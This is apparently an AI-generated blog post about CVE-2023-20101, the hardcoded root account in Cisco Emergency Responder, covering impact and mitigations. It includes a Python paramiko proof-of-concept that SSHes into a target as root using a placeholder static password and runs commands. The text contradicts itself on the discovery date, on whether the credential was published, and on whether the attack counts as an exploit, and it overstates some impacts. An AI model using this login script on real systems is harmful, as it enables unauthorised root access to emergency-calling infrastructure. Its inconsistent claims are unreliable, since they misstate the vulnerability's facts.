CVE-2023-20101 - Remote Root Access in Cisco Emergency Responder

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Introduction

In June 2023, a serious security vulnerability was identified in Cisco Emergency Responder, registered as CVE-2023-20101. This issue is critical because it allows anyone on the internet to log in as root on affected systems—no password cracking, no exploits, just a set of static credentials known to the attacker. In this post, I’ll explain what happened, include a simple Python code snippet demonstrating the attack, and give you all you need to know about the risks and fixes.

What is Cisco Emergency Responder?

Cisco Emergency Responder (CER) is an appliance that improves emergency calling for IP telephony systems. It ensures that emergency calls (like 911) are routed to the right place with accurate location information. It’s found in universities, medical centers, big businesses, and anywhere with VoIP systems. Because it’s so central and trusted, any compromise could be disastrous.

The Vulnerability: Hardcoded Root Account

The heart of CVE-2023-20101 is Cisco’s inclusion of a hardcoded, non-removable root account, likely a leftover from development. This root account uses static credentials (a username and password that are the same for all installs) which CANNOT be changed or deleted by administrators. On affected devices, remote attackers can use these credentials to log in as root via SSH/SCP or even direct console access.

No Auth required: Attackers don’t need to phish or brute-force credentials.

- Full Control: Root user can do anything — create backdoors, read all data, disrupt 911 calling, or pivot into the rest of the corporate network.
- Remote Exploit: The attacker doesn’t need physical access; they just need network access to the device.

Exploit Details

An attacker can use widely available tools like ssh to connect to the target system. The details of the root credential were not published by Cisco, but multiple security researchers (example) have confirmed the existence of the static login.

Given the nature of the appliance, here’s a simple proof-of-concept exploit with Python using paramiko:

Proof-of-Concept (PoC) Exploit (Python)

import paramiko

# Replace with the target Cisco Emergency Responder system’s IP
target_host = "192.168.100.10" 

# Cisco's default root credentials (example; actual may differ)
username = "root"
password = "default_password"  # Change to the known static password

# Set up SSH client
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
    client.connect(hostname=target_host, username=username, password=password, timeout=5)
    stdin, stdout, stderr = client.exec_command('id')
    print("[+] LOGIN SUCCESSFUL!")
    print(stdout.read().decode())
    
    # You are now root; further commands here:
    # stdin, stdout, stderr = client.exec_command('cat /etc/passwd')
    # print(stdout.read().decode())
    
    client.close()
except Exception as e:
    print("[-] Login failed:", e)

WARNING:
Only test this code on systems you own or are authorized to test. Unauthorized access is illegal.

Real-World Impact

1. Full System Takeover: The attacker can control all call routes, surveillance, and physical security integrations.
2. Data Exfiltration: The appliance will typically store call logs, contact information, and emergency procedures—prime targets for attackers.
3. Extortion and Ransomware: Attackers could lock down the CER system, paralyzing emergency response capabilities until payment is made.

Mitigation and Vendor Response

Cisco has released a security advisory describing the vulnerability and urging users to update to a fixed software version. Vendors highly recommend:

Monitor Logs: Watch for odd logins, especially as root.

If immediate patching isn’t possible, ensure CER is NOT exposed to the internet, use strict firewall rules, and block all SSH/SCP to it.

References and Further Reading

- Cisco Security Advisory: CVE-2023-20101
- NIST NVD Entry
- SecurityWeek coverage
- Full list of updates and versions

Conclusion

CVE-2023-20101 is a classic example of hardcoded credentials being left in a production system—a simple oversight with catastrophic consequences. Because the details of the root account are now public, any unpatched Cisco Emergency Responder device on the network is at immediate risk. The best defense is to patch now, lock down network access, and monitor for suspicious activity.

If you’re running Cisco Emergency Responder, act today. If your vendor or IT provider manages your system, demand to know what steps they’ve taken. Don’t wait—this is as simple a backdoor as they come.

*Exclusive research and content by AI, June 2024.*

Timeline

Published on: 10/04/2023 17:15:09 UTC
Last modified on: 10/06/2023 18:15:15 UTC